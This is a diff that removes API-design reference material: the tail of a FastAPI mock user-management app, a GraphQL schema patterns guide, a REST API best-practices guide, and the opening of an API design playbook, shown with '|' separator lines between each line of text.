allow_credentials=False, # TODO: Set to True if you need cookies/auth headers, but restrict origins
|
||||
allow_methods=["*"],
|
||||
allow_headers=["*"],
|
||||
)
|
||||
|
||||
# Models
|
||||
class UserStatus(str, Enum):
|
||||
ACTIVE = "active"
|
||||
INACTIVE = "inactive"
|
||||
SUSPENDED = "suspended"
|
||||
|
||||
class UserBase(BaseModel):
|
||||
email: EmailStr
|
||||
name: str = Field(..., min_length=1, max_length=100)
|
||||
status: UserStatus = UserStatus.ACTIVE
|
||||
|
||||
class UserCreate(UserBase):
|
||||
password: str = Field(..., min_length=8)
|
||||
|
||||
class UserUpdate(BaseModel):
|
||||
email: Optional[EmailStr] = None
|
||||
name: Optional[str] = Field(None, min_length=1, max_length=100)
|
||||
status: Optional[UserStatus] = None
|
||||
|
||||
class User(UserBase):
|
||||
id: str
|
||||
created_at: datetime
|
||||
updated_at: datetime
|
||||
|
||||
model_config = ConfigDict(from_attributes=True)
|
||||
|
||||
# Pagination
|
||||
class PaginationParams(BaseModel):
|
||||
page: int = Field(1, ge=1)
|
||||
page_size: int = Field(20, ge=1, le=100)
|
||||
|
||||
class PaginatedResponse(BaseModel):
|
||||
items: List[Any]
|
||||
total: int
|
||||
page: int
|
||||
page_size: int
|
||||
pages: int
|
||||
|
||||
# Error handling
|
||||
class ErrorDetail(BaseModel):
|
||||
field: Optional[str] = None
|
||||
message: str
|
||||
code: str
|
||||
|
||||
class ErrorResponse(BaseModel):
|
||||
error: str
|
||||
message: str
|
||||
details: Optional[List[ErrorDetail]] = None
|
||||
|
||||
@app.exception_handler(HTTPException)
|
||||
async def http_exception_handler(request, exc):
|
||||
return JSONResponse(
|
||||
status_code=exc.status_code,
|
||||
content=ErrorResponse(
|
||||
error=exc.__class__.__name__,
|
||||
message=exc.detail if isinstance(exc.detail, str) else exc.detail.get("message", "Error"),
|
||||
details=exc.detail.get("details") if isinstance(exc.detail, dict) else None
|
||||
).model_dump()
|
||||
)
|
||||
|
||||
# Endpoints
|
||||
@app.get("/api/users", response_model=PaginatedResponse, tags=["Users"])
|
||||
async def list_users(
|
||||
page: int = Query(1, ge=1),
|
||||
page_size: int = Query(20, ge=1, le=100),
|
||||
status: Optional[UserStatus] = Query(None),
|
||||
search: Optional[str] = Query(None)
|
||||
):
|
||||
"""List users with pagination and filtering."""
|
||||
# Mock implementation
|
||||
total = 100
|
||||
items = [
|
||||
User(
|
||||
id=str(i),
|
||||
email=f"user{i}@example.com",
|
||||
name=f"User {i}",
|
||||
status=UserStatus.ACTIVE,
|
||||
created_at=datetime.now(),
|
||||
updated_at=datetime.now()
|
||||
).model_dump()
|
||||
for i in range((page-1)*page_size, min(page*page_size, total))
|
||||
]
|
||||
|
||||
return PaginatedResponse(
|
||||
items=items,
|
||||
total=total,
|
||||
page=page,
|
||||
page_size=page_size,
|
||||
pages=(total + page_size - 1) // page_size
|
||||
)
|
||||
|
||||
@app.post("/api/users", response_model=User, status_code=status.HTTP_201_CREATED, tags=["Users"])
|
||||
async def create_user(user: UserCreate):
|
||||
"""Create a new user."""
|
||||
# Mock implementation
|
||||
return User(
|
||||
id="123",
|
||||
email=user.email,
|
||||
name=user.name,
|
||||
status=user.status,
|
||||
created_at=datetime.now(),
|
||||
updated_at=datetime.now()
|
||||
)
|
||||
|
||||
@app.get("/api/users/{user_id}", response_model=User, tags=["Users"])
|
||||
async def get_user(user_id: str = Path(..., description="User ID")):
|
||||
"""Get user by ID."""
|
||||
# Mock: Check if exists
|
||||
if user_id == "999":
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail={"message": "User not found", "details": {"id": user_id}}
|
||||
)
|
||||
|
||||
return User(
|
||||
id=user_id,
|
||||
email="user@example.com",
|
||||
name="User Name",
|
||||
status=UserStatus.ACTIVE,
|
||||
created_at=datetime.now(),
|
||||
updated_at=datetime.now()
|
||||
)
|
||||
|
||||
@app.patch("/api/users/{user_id}", response_model=User, tags=["Users"])
|
||||
async def update_user(user_id: str, update: UserUpdate):
|
||||
"""Partially update user."""
|
||||
# Validate user exists
|
||||
existing = await get_user(user_id)
|
||||
|
||||
# Apply updates
|
||||
update_data = update.model_dump(exclude_unset=True)
|
||||
for field, value in update_data.items():
|
||||
setattr(existing, field, value)
|
||||
|
||||
existing.updated_at = datetime.now()
|
||||
return existing
|
||||
|
||||
@app.delete("/api/users/{user_id}", status_code=status.HTTP_204_NO_CONTENT, tags=["Users"])
|
||||
async def delete_user(user_id: str):
|
||||
"""Delete user."""
|
||||
await get_user(user_id) # Verify exists
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
import uvicorn
|
||||
uvicorn.run(app, host="0.0.0.0", port=8000)
|
||||
@@ -1,583 +0,0 @@
|
||||
# GraphQL Schema Design Patterns
|
||||
|
||||
## Schema Organization
|
||||
|
||||
### Modular Schema Structure
|
||||
|
||||
```graphql
|
||||
# user.graphql
|
||||
type User {
|
||||
id: ID!
|
||||
email: String!
|
||||
name: String!
|
||||
posts: [Post!]!
|
||||
}
|
||||
|
||||
extend type Query {
|
||||
user(id: ID!): User
|
||||
users(first: Int, after: String): UserConnection!
|
||||
}
|
||||
|
||||
extend type Mutation {
|
||||
createUser(input: CreateUserInput!): CreateUserPayload!
|
||||
}
|
||||
|
||||
# post.graphql
|
||||
type Post {
|
||||
id: ID!
|
||||
title: String!
|
||||
content: String!
|
||||
author: User!
|
||||
}
|
||||
|
||||
extend type Query {
|
||||
post(id: ID!): Post
|
||||
}
|
||||
```
|
||||
|
||||
## Type Design Patterns
|
||||
|
||||
### 1. Non-Null Types
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
id: ID! # Always required
|
||||
email: String! # Required
|
||||
phone: String # Optional (nullable)
|
||||
posts: [Post!]! # Non-null array of non-null posts
|
||||
tags: [String!] # Nullable array of non-null strings
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Interfaces for Polymorphism
|
||||
|
||||
```graphql
|
||||
interface Node {
|
||||
id: ID!
|
||||
createdAt: DateTime!
|
||||
}
|
||||
|
||||
type User implements Node {
|
||||
id: ID!
|
||||
createdAt: DateTime!
|
||||
email: String!
|
||||
}
|
||||
|
||||
type Post implements Node {
|
||||
id: ID!
|
||||
createdAt: DateTime!
|
||||
title: String!
|
||||
}
|
||||
|
||||
type Query {
|
||||
node(id: ID!): Node
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Unions for Heterogeneous Results
|
||||
|
||||
```graphql
|
||||
union SearchResult = User | Post | Comment
|
||||
|
||||
type Query {
|
||||
search(query: String!): [SearchResult!]!
|
||||
}
|
||||
|
||||
# Query example
|
||||
{
|
||||
search(query: "graphql") {
|
||||
... on User {
|
||||
name
|
||||
email
|
||||
}
|
||||
... on Post {
|
||||
title
|
||||
content
|
||||
}
|
||||
... on Comment {
|
||||
text
|
||||
author {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Input Types
|
||||
|
||||
```graphql
|
||||
input CreateUserInput {
|
||||
email: String!
|
||||
name: String!
|
||||
password: String!
|
||||
profileInput: ProfileInput
|
||||
}
|
||||
|
||||
input ProfileInput {
|
||||
bio: String
|
||||
avatar: String
|
||||
website: String
|
||||
}
|
||||
|
||||
input UpdateUserInput {
|
||||
id: ID!
|
||||
email: String
|
||||
name: String
|
||||
profileInput: ProfileInput
|
||||
}
|
||||
```
|
||||
|
||||
## Pagination Patterns
|
||||
|
||||
### Relay Cursor Pagination (Recommended)
|
||||
|
||||
```graphql
|
||||
type UserConnection {
|
||||
edges: [UserEdge!]!
|
||||
pageInfo: PageInfo!
|
||||
totalCount: Int!
|
||||
}
|
||||
|
||||
type UserEdge {
|
||||
node: User!
|
||||
cursor: String!
|
||||
}
|
||||
|
||||
type PageInfo {
|
||||
hasNextPage: Boolean!
|
||||
hasPreviousPage: Boolean!
|
||||
startCursor: String
|
||||
endCursor: String
|
||||
}
|
||||
|
||||
type Query {
|
||||
users(first: Int, after: String, last: Int, before: String): UserConnection!
|
||||
}
|
||||
|
||||
# Usage
|
||||
{
|
||||
users(first: 10, after: "cursor123") {
|
||||
edges {
|
||||
cursor
|
||||
node {
|
||||
id
|
||||
name
|
||||
}
|
||||
}
|
||||
pageInfo {
|
||||
hasNextPage
|
||||
endCursor
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Offset Pagination (Simpler)
|
||||
|
||||
```graphql
|
||||
type UserList {
|
||||
items: [User!]!
|
||||
total: Int!
|
||||
page: Int!
|
||||
pageSize: Int!
|
||||
}
|
||||
|
||||
type Query {
|
||||
users(page: Int = 1, pageSize: Int = 20): UserList!
|
||||
}
|
||||
```
|
||||
|
||||
## Mutation Design Patterns
|
||||
|
||||
### 1. Input/Payload Pattern
|
||||
|
||||
```graphql
|
||||
input CreatePostInput {
|
||||
title: String!
|
||||
content: String!
|
||||
tags: [String!]
|
||||
}
|
||||
|
||||
type CreatePostPayload {
|
||||
post: Post
|
||||
errors: [Error!]
|
||||
success: Boolean!
|
||||
}
|
||||
|
||||
type Error {
|
||||
field: String
|
||||
message: String!
|
||||
code: String!
|
||||
}
|
||||
|
||||
type Mutation {
|
||||
createPost(input: CreatePostInput!): CreatePostPayload!
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Optimistic Response Support
|
||||
|
||||
```graphql
|
||||
type UpdateUserPayload {
|
||||
user: User
|
||||
clientMutationId: String
|
||||
errors: [Error!]
|
||||
}
|
||||
|
||||
input UpdateUserInput {
|
||||
id: ID!
|
||||
name: String
|
||||
clientMutationId: String
|
||||
}
|
||||
|
||||
type Mutation {
|
||||
updateUser(input: UpdateUserInput!): UpdateUserPayload!
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Batch Mutations
|
||||
|
||||
```graphql
|
||||
input BatchCreateUserInput {
|
||||
users: [CreateUserInput!]!
|
||||
}
|
||||
|
||||
type BatchCreateUserPayload {
|
||||
results: [CreateUserResult!]!
|
||||
successCount: Int!
|
||||
errorCount: Int!
|
||||
}
|
||||
|
||||
type CreateUserResult {
|
||||
user: User
|
||||
errors: [Error!]
|
||||
index: Int!
|
||||
}
|
||||
|
||||
type Mutation {
|
||||
batchCreateUsers(input: BatchCreateUserInput!): BatchCreateUserPayload!
|
||||
}
|
||||
```
|
||||
|
||||
## Field Design
|
||||
|
||||
### Arguments and Filtering
|
||||
|
||||
```graphql
|
||||
type Query {
|
||||
posts(
|
||||
# Pagination
|
||||
first: Int = 20
|
||||
after: String
|
||||
|
||||
# Filtering
|
||||
status: PostStatus
|
||||
authorId: ID
|
||||
tag: String
|
||||
|
||||
# Sorting
|
||||
orderBy: PostOrderBy = CREATED_AT
|
||||
orderDirection: OrderDirection = DESC
|
||||
|
||||
# Searching
|
||||
search: String
|
||||
): PostConnection!
|
||||
}
|
||||
|
||||
enum PostStatus {
|
||||
DRAFT
|
||||
PUBLISHED
|
||||
ARCHIVED
|
||||
}
|
||||
|
||||
enum PostOrderBy {
|
||||
CREATED_AT
|
||||
UPDATED_AT
|
||||
TITLE
|
||||
}
|
||||
|
||||
enum OrderDirection {
|
||||
ASC
|
||||
DESC
|
||||
}
|
||||
```
|
||||
|
||||
### Computed Fields
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
firstName: String!
|
||||
lastName: String!
|
||||
fullName: String! # Computed in resolver
|
||||
posts: [Post!]!
|
||||
postCount: Int! # Computed, doesn't load all posts
|
||||
}
|
||||
|
||||
type Post {
|
||||
likeCount: Int!
|
||||
commentCount: Int!
|
||||
isLikedByViewer: Boolean! # Context-dependent
|
||||
}
|
||||
```
|
||||
|
||||
## Subscriptions
|
||||
|
||||
```graphql
|
||||
type Subscription {
|
||||
postAdded: Post!
|
||||
|
||||
postUpdated(postId: ID!): Post!
|
||||
|
||||
userStatusChanged(userId: ID!): UserStatus!
|
||||
}
|
||||
|
||||
type UserStatus {
|
||||
userId: ID!
|
||||
online: Boolean!
|
||||
lastSeen: DateTime!
|
||||
}
|
||||
|
||||
# Client usage
|
||||
subscription {
|
||||
postAdded {
|
||||
id
|
||||
title
|
||||
author {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Custom Scalars
|
||||
|
||||
```graphql
|
||||
scalar DateTime
|
||||
scalar Email
|
||||
scalar URL
|
||||
scalar JSON
|
||||
scalar Money
|
||||
|
||||
type User {
|
||||
email: Email!
|
||||
website: URL
|
||||
createdAt: DateTime!
|
||||
metadata: JSON
|
||||
}
|
||||
|
||||
type Product {
|
||||
price: Money!
|
||||
}
|
||||
```
|
||||
|
||||
## Directives
|
||||
|
||||
### Built-in Directives
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
name: String!
|
||||
email: String! @deprecated(reason: "Use emails field instead")
|
||||
emails: [String!]!
|
||||
|
||||
# Conditional inclusion
|
||||
privateData: PrivateData @include(if: $isOwner)
|
||||
}
|
||||
|
||||
# Query
|
||||
query GetUser($isOwner: Boolean!) {
|
||||
user(id: "123") {
|
||||
name
|
||||
privateData @include(if: $isOwner) {
|
||||
ssn
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Custom Directives
|
||||
|
||||
```graphql
|
||||
directive @auth(requires: Role = USER) on FIELD_DEFINITION
|
||||
|
||||
enum Role {
|
||||
USER
|
||||
ADMIN
|
||||
MODERATOR
|
||||
}
|
||||
|
||||
type Mutation {
|
||||
deleteUser(id: ID!): Boolean! @auth(requires: ADMIN)
|
||||
updateProfile(input: ProfileInput!): User! @auth
|
||||
}
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
### Union Error Pattern
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
id: ID!
|
||||
email: String!
|
||||
}
|
||||
|
||||
type ValidationError {
|
||||
field: String!
|
||||
message: String!
|
||||
}
|
||||
|
||||
type NotFoundError {
|
||||
message: String!
|
||||
resourceType: String!
|
||||
resourceId: ID!
|
||||
}
|
||||
|
||||
type AuthorizationError {
|
||||
message: String!
|
||||
}
|
||||
|
||||
union UserResult = User | ValidationError | NotFoundError | AuthorizationError
|
||||
|
||||
type Query {
|
||||
user(id: ID!): UserResult!
|
||||
}
|
||||
|
||||
# Usage
|
||||
{
|
||||
user(id: "123") {
|
||||
... on User {
|
||||
id
|
||||
email
|
||||
}
|
||||
... on NotFoundError {
|
||||
message
|
||||
resourceType
|
||||
}
|
||||
... on AuthorizationError {
|
||||
message
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Errors in Payload
|
||||
|
||||
```graphql
|
||||
type CreateUserPayload {
|
||||
user: User
|
||||
errors: [Error!]
|
||||
success: Boolean!
|
||||
}
|
||||
|
||||
type Error {
|
||||
field: String
|
||||
message: String!
|
||||
code: ErrorCode!
|
||||
}
|
||||
|
||||
enum ErrorCode {
|
||||
VALIDATION_ERROR
|
||||
UNAUTHORIZED
|
||||
NOT_FOUND
|
||||
INTERNAL_ERROR
|
||||
}
|
||||
```
|
||||
|
||||
## N+1 Query Problem Solutions
|
||||
|
||||
### DataLoader Pattern
|
||||
|
||||
```python
|
||||
from aiodataloader import DataLoader
|
||||
|
||||
class PostLoader(DataLoader):
|
||||
async def batch_load_fn(self, post_ids):
|
||||
posts = await db.posts.find({"id": {"$in": post_ids}})
|
||||
post_map = {post["id"]: post for post in posts}
|
||||
return [post_map.get(pid) for pid in post_ids]
|
||||
|
||||
# Resolver
|
||||
@user_type.field("posts")
|
||||
async def resolve_posts(user, info):
|
||||
loader = info.context["loaders"]["post"]
|
||||
return await loader.load_many(user["post_ids"])
|
||||
```
|
||||
|
||||
### Query Depth Limiting
|
||||
|
||||
```python
|
||||
from graphql import GraphQLError
|
||||
|
||||
def depth_limit_validator(max_depth: int):
|
||||
def validate(context, node, ancestors):
|
||||
depth = len(ancestors)
|
||||
if depth > max_depth:
|
||||
raise GraphQLError(
|
||||
f"Query depth {depth} exceeds maximum {max_depth}"
|
||||
)
|
||||
return validate
|
||||
```
|
||||
|
||||
### Query Complexity Analysis
|
||||
|
||||
```python
|
||||
def complexity_limit_validator(max_complexity: int):
|
||||
def calculate_complexity(node):
|
||||
# Each field = 1, lists multiply
|
||||
complexity = 1
|
||||
if is_list_field(node):
|
||||
complexity *= get_list_size_arg(node)
|
||||
return complexity
|
||||
|
||||
return validate_complexity
|
||||
```
|
||||
|
||||
## Schema Versioning
|
||||
|
||||
### Field Deprecation
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
name: String! @deprecated(reason: "Use firstName and lastName")
|
||||
firstName: String!
|
||||
lastName: String!
|
||||
}
|
||||
```
|
||||
|
||||
### Schema Evolution
|
||||
|
||||
```graphql
|
||||
# v1 - Initial
|
||||
type User {
|
||||
name: String!
|
||||
}
|
||||
|
||||
# v2 - Add optional field (backward compatible)
|
||||
type User {
|
||||
name: String!
|
||||
email: String
|
||||
}
|
||||
|
||||
# v3 - Deprecate and add new field
|
||||
type User {
|
||||
name: String! @deprecated(reason: "Use firstName/lastName")
|
||||
firstName: String!
|
||||
lastName: String!
|
||||
email: String
|
||||
}
|
||||
```
|
||||
|
||||
## Best Practices Summary
|
||||
|
||||
1. **Nullable vs Non-Null**: Start nullable, make non-null when guaranteed
|
||||
2. **Input Types**: Always use input types for mutations
|
||||
3. **Payload Pattern**: Return errors in mutation payloads
|
||||
4. **Pagination**: Use cursor-based for infinite scroll, offset for simple cases
|
||||
5. **Naming**: Use camelCase for fields, PascalCase for types
|
||||
6. **Deprecation**: Use `@deprecated` instead of removing fields
|
||||
7. **DataLoaders**: Always use for relationships to prevent N+1
|
||||
8. **Complexity Limits**: Protect against expensive queries
|
||||
9. **Custom Scalars**: Use for domain-specific types (Email, DateTime)
|
||||
10. **Documentation**: Document all fields with descriptions
|
||||
@@ -1,408 +0,0 @@
|
||||
# REST API Best Practices
|
||||
|
||||
## URL Structure
|
||||
|
||||
### Resource Naming
|
||||
|
||||
```
|
||||
# Good - Plural nouns
|
||||
GET /api/users
|
||||
GET /api/orders
|
||||
GET /api/products
|
||||
|
||||
# Bad - Verbs or mixed conventions
|
||||
GET /api/getUser
|
||||
GET /api/user (inconsistent singular)
|
||||
POST /api/createOrder
|
||||
```
|
||||
|
||||
### Nested Resources
|
||||
|
||||
```
|
||||
# Shallow nesting (preferred)
|
||||
GET /api/users/{id}/orders
|
||||
GET /api/orders/{id}
|
||||
|
||||
# Deep nesting (avoid)
|
||||
GET /api/users/{id}/orders/{orderId}/items/{itemId}/reviews
|
||||
# Better:
|
||||
GET /api/order-items/{id}/reviews
|
||||
```
|
||||
|
||||
## HTTP Methods and Status Codes
|
||||
|
||||
### GET - Retrieve Resources
|
||||
|
||||
```
|
||||
GET /api/users → 200 OK (with list)
|
||||
GET /api/users/{id} → 200 OK or 404 Not Found
|
||||
GET /api/users?page=2 → 200 OK (paginated)
|
||||
```
|
||||
|
||||
### POST - Create Resources
|
||||
|
||||
```
|
||||
POST /api/users
|
||||
Body: {"name": "John", "email": "john@example.com"}
|
||||
→ 201 Created
|
||||
Location: /api/users/123
|
||||
Body: {"id": "123", "name": "John", ...}
|
||||
|
||||
POST /api/users (validation error)
|
||||
→ 422 Unprocessable Entity
|
||||
Body: {"errors": [...]}
|
||||
```
|
||||
|
||||
### PUT - Replace Resources
|
||||
|
||||
```
|
||||
PUT /api/users/{id}
|
||||
Body: {complete user object}
|
||||
→ 200 OK (updated)
|
||||
→ 404 Not Found (doesn't exist)
|
||||
|
||||
# Must include ALL fields
|
||||
```
|
||||
|
||||
### PATCH - Partial Update
|
||||
|
||||
```
|
||||
PATCH /api/users/{id}
|
||||
Body: {"name": "Jane"} (only changed fields)
|
||||
→ 200 OK
|
||||
→ 404 Not Found
|
||||
```
|
||||
|
||||
### DELETE - Remove Resources
|
||||
|
||||
```
|
||||
DELETE /api/users/{id}
|
||||
→ 204 No Content (deleted)
|
||||
→ 404 Not Found
|
||||
→ 409 Conflict (can't delete due to references)
|
||||
```
|
||||
|
||||
## Filtering, Sorting, and Searching
|
||||
|
||||
### Query Parameters
|
||||
|
||||
```
|
||||
# Filtering
|
||||
GET /api/users?status=active
|
||||
GET /api/users?role=admin&status=active
|
||||
|
||||
# Sorting
|
||||
GET /api/users?sort=created_at
|
||||
GET /api/users?sort=-created_at (descending)
|
||||
GET /api/users?sort=name,created_at
|
||||
|
||||
# Searching
|
||||
GET /api/users?search=john
|
||||
GET /api/users?q=john
|
||||
|
||||
# Field selection (sparse fieldsets)
|
||||
GET /api/users?fields=id,name,email
|
||||
```
|
||||
|
||||
## Pagination Patterns
|
||||
|
||||
### Offset-Based Pagination
|
||||
|
||||
```python
|
||||
GET /api/users?page=2&page_size=20
|
||||
|
||||
Response:
|
||||
{
|
||||
"items": [...],
|
||||
"page": 2,
|
||||
"page_size": 20,
|
||||
"total": 150,
|
||||
"pages": 8
|
||||
}
|
||||
```
|
||||
|
||||
### Cursor-Based Pagination (for large datasets)
|
||||
|
||||
```python
|
||||
GET /api/users?limit=20&cursor=eyJpZCI6MTIzfQ
|
||||
|
||||
Response:
|
||||
{
|
||||
"items": [...],
|
||||
"next_cursor": "eyJpZCI6MTQzfQ",
|
||||
"has_more": true
|
||||
}
|
||||
```
|
||||
|
||||
### Link Header Pagination (RESTful)
|
||||
|
||||
```
|
||||
GET /api/users?page=2
|
||||
|
||||
Response Headers:
|
||||
Link: <https://api.example.com/users?page=3>; rel="next",
|
||||
<https://api.example.com/users?page=1>; rel="prev",
|
||||
<https://api.example.com/users?page=1>; rel="first",
|
||||
<https://api.example.com/users?page=8>; rel="last"
|
||||
```
|
||||
|
||||
## Versioning Strategies
|
||||
|
||||
### URL Versioning (Recommended)
|
||||
|
||||
```
|
||||
/api/v1/users
|
||||
/api/v2/users
|
||||
|
||||
Pros: Clear, easy to route
|
||||
Cons: Multiple URLs for same resource
|
||||
```
|
||||
|
||||
### Header Versioning
|
||||
|
||||
```
|
||||
GET /api/users
|
||||
Accept: application/vnd.api+json; version=2
|
||||
|
||||
Pros: Clean URLs
|
||||
Cons: Less visible, harder to test
|
||||
```
|
||||
|
||||
### Query Parameter
|
||||
|
||||
```
|
||||
GET /api/users?version=2
|
||||
|
||||
Pros: Easy to test
|
||||
Cons: Optional parameter can be forgotten
|
||||
```
|
||||
|
||||
## Rate Limiting
|
||||
|
||||
### Headers
|
||||
|
||||
```
|
||||
X-RateLimit-Limit: 1000
|
||||
X-RateLimit-Remaining: 742
|
||||
X-RateLimit-Reset: 1640000000
|
||||
|
||||
Response when limited:
|
||||
429 Too Many Requests
|
||||
Retry-After: 3600
|
||||
```
|
||||
|
||||
### Implementation Pattern
|
||||
|
||||
```python
|
||||
from fastapi import HTTPException, Request
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
class RateLimiter:
|
||||
def __init__(self, calls: int, period: int):
|
||||
self.calls = calls
|
||||
self.period = period
|
||||
self.cache = {}
|
||||
|
||||
def check(self, key: str) -> bool:
|
||||
now = datetime.now()
|
||||
if key not in self.cache:
|
||||
self.cache[key] = []
|
||||
|
||||
# Remove old requests
|
||||
self.cache[key] = [
|
||||
ts for ts in self.cache[key]
|
||||
if now - ts < timedelta(seconds=self.period)
|
||||
]
|
||||
|
||||
if len(self.cache[key]) >= self.calls:
|
||||
return False
|
||||
|
||||
self.cache[key].append(now)
|
||||
return True
|
||||
|
||||
limiter = RateLimiter(calls=100, period=60)
|
||||
|
||||
@app.get("/api/users")
|
||||
async def get_users(request: Request):
|
||||
if not limiter.check(request.client.host):
|
||||
raise HTTPException(
|
||||
status_code=429,
|
||||
headers={"Retry-After": "60"}
|
||||
)
|
||||
return {"users": [...]}
|
||||
```
|
||||
|
||||
## Authentication and Authorization
|
||||
|
||||
### Bearer Token
|
||||
|
||||
```
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
|
||||
|
||||
401 Unauthorized - Missing/invalid token
|
||||
403 Forbidden - Valid token, insufficient permissions
|
||||
```
|
||||
|
||||
### API Keys
|
||||
|
||||
```
|
||||
X-API-Key: your-api-key-here
|
||||
```
|
||||
|
||||
## Error Response Format
|
||||
|
||||
### Consistent Structure
|
||||
|
||||
```json
|
||||
{
|
||||
"error": {
|
||||
"code": "VALIDATION_ERROR",
|
||||
"message": "Request validation failed",
|
||||
"details": [
|
||||
{
|
||||
"field": "email",
|
||||
"message": "Invalid email format",
|
||||
"value": "not-an-email"
|
||||
}
|
||||
],
|
||||
"timestamp": "2025-10-16T12:00:00Z",
|
||||
"path": "/api/users"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Status Code Guidelines
|
||||
|
||||
- `200 OK`: Successful GET, PATCH, PUT
|
||||
- `201 Created`: Successful POST
|
||||
- `204 No Content`: Successful DELETE
|
||||
- `400 Bad Request`: Malformed request
|
||||
- `401 Unauthorized`: Authentication required
|
||||
- `403 Forbidden`: Authenticated but not authorized
|
||||
- `404 Not Found`: Resource doesn't exist
|
||||
- `409 Conflict`: State conflict (duplicate email, etc.)
|
||||
- `422 Unprocessable Entity`: Validation errors
|
||||
- `429 Too Many Requests`: Rate limited
|
||||
- `500 Internal Server Error`: Server error
|
||||
- `503 Service Unavailable`: Temporary downtime
|
||||
|
||||
## Caching
|
||||
|
||||
### Cache Headers
|
||||
|
||||
```
|
||||
# Client caching
|
||||
Cache-Control: public, max-age=3600
|
||||
|
||||
# No caching
|
||||
Cache-Control: no-cache, no-store, must-revalidate
|
||||
|
||||
# Conditional requests
|
||||
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
|
||||
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
|
||||
→ 304 Not Modified
|
||||
```
|
||||
|
||||
## Bulk Operations
|
||||
|
||||
### Batch Endpoints
|
||||
|
||||
```python
|
||||
POST /api/users/batch
|
||||
{
|
||||
"items": [
|
||||
{"name": "User1", "email": "user1@example.com"},
|
||||
{"name": "User2", "email": "user2@example.com"}
|
||||
]
|
||||
}
|
||||
|
||||
Response:
|
||||
{
|
||||
"results": [
|
||||
{"id": "1", "status": "created"},
|
||||
{"id": null, "status": "failed", "error": "Email already exists"}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Idempotency
|
||||
|
||||
### Idempotency Keys
|
||||
|
||||
```
|
||||
POST /api/orders
|
||||
Idempotency-Key: unique-key-123
|
||||
|
||||
If duplicate request:
|
||||
→ 200 OK (return cached response)
|
||||
```
|
||||
|
||||
## CORS Configuration
|
||||
|
||||
```python
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=["https://example.com"],
|
||||
allow_credentials=True,
|
||||
allow_methods=["*"],
|
||||
allow_headers=["*"],
|
||||
)
|
||||
```
|
||||
|
||||
## Documentation with OpenAPI
|
||||
|
||||
```python
|
||||
from fastapi import FastAPI
|
||||
|
||||
app = FastAPI(
|
||||
title="My API",
|
||||
description="API for managing users",
|
||||
version="1.0.0",
|
||||
docs_url="/docs",
|
||||
redoc_url="/redoc"
|
||||
)
|
||||
|
||||
@app.get(
|
||||
"/api/users/{user_id}",
|
||||
summary="Get user by ID",
|
||||
response_description="User details",
|
||||
tags=["Users"]
|
||||
)
|
||||
async def get_user(
|
||||
user_id: str = Path(..., description="The user ID")
|
||||
):
|
||||
"""
|
||||
Retrieve user by ID.
|
||||
|
||||
Returns full user profile including:
|
||||
- Basic information
|
||||
- Contact details
|
||||
- Account status
|
||||
"""
|
||||
pass
|
||||
```
|
||||
|
||||
## Health and Monitoring Endpoints
|
||||
|
||||
```python
|
||||
@app.get("/health")
|
||||
async def health_check():
|
||||
return {
|
||||
"status": "healthy",
|
||||
"version": "1.0.0",
|
||||
"timestamp": datetime.now().isoformat()
|
||||
}
|
||||
|
||||
@app.get("/health/detailed")
|
||||
async def detailed_health():
|
||||
return {
|
||||
"status": "healthy",
|
||||
"checks": {
|
||||
"database": await check_database(),
|
||||
"redis": await check_redis(),
|
||||
"external_api": await check_external_api()
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -1,513 +0,0 @@
|
||||
# API Design Principles Implementation Playbook
|
||||
|
||||
This file contains detailed patterns, checklists, and code samples referenced by the skill.
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### 1. RESTful Design Principles
|
||||
|
||||
**Resource-Oriented Architecture**
|
||||
|
||||
- Resources are nouns (users, orders, products), not verbs
|
||||
- Use HTTP methods for actions (GET, POST, PUT, PATCH, DELETE)
|
||||
- URLs represent resource hierarchies
|
||||
- Consistent naming conventions
|
||||
|
||||
**HTTP Methods Semantics:**
|
||||
|
||||
- `GET`: Retrieve resources (idempotent, safe)
|
||||
- `POST`: Create new resources
|
||||
- `PUT`: Replace entire resource (idempotent)
|
||||
- `PATCH`: Partial resource updates
|
||||
- `DELETE`: Remove resources (idempotent)
|
||||
|
||||
### 2. GraphQL Design Principles
|
||||
|
||||
**Schema-First Development**
|
||||
|
||||
- Types define your domain model
|
||||
- Queries for reading data
|
||||
- Mutations for modifying data
|
||||
- Subscriptions for real-time updates
|
||||
|
||||
**Query Structure:**
|
||||
|
||||
- Clients request exactly what they need
|
||||
- Single endpoint, multiple operations
|
||||
- Strongly typed schema
|
||||
- Introspection built-in
|
||||
|
||||
### 3. API Versioning Strategies
|
||||
|
||||
**URL Versioning:**
|
||||
|
||||
```
|
||||
/api/v1/users
|
||||
/api/v2/users
|
||||
```
|
||||
|
||||
**Header Versioning:**
|
||||
|
||||
```
|
||||
Accept: application/vnd.api+json; version=1
|
||||
```
|
||||
|
||||
**Query Parameter Versioning:**
|
||||
|
||||
```
|
||||
/api/users?version=1
|
||||
```
|
||||
|
||||
## REST API Design Patterns
|
||||
|
||||
### Pattern 1: Resource Collection Design
|
||||
|
||||
```python
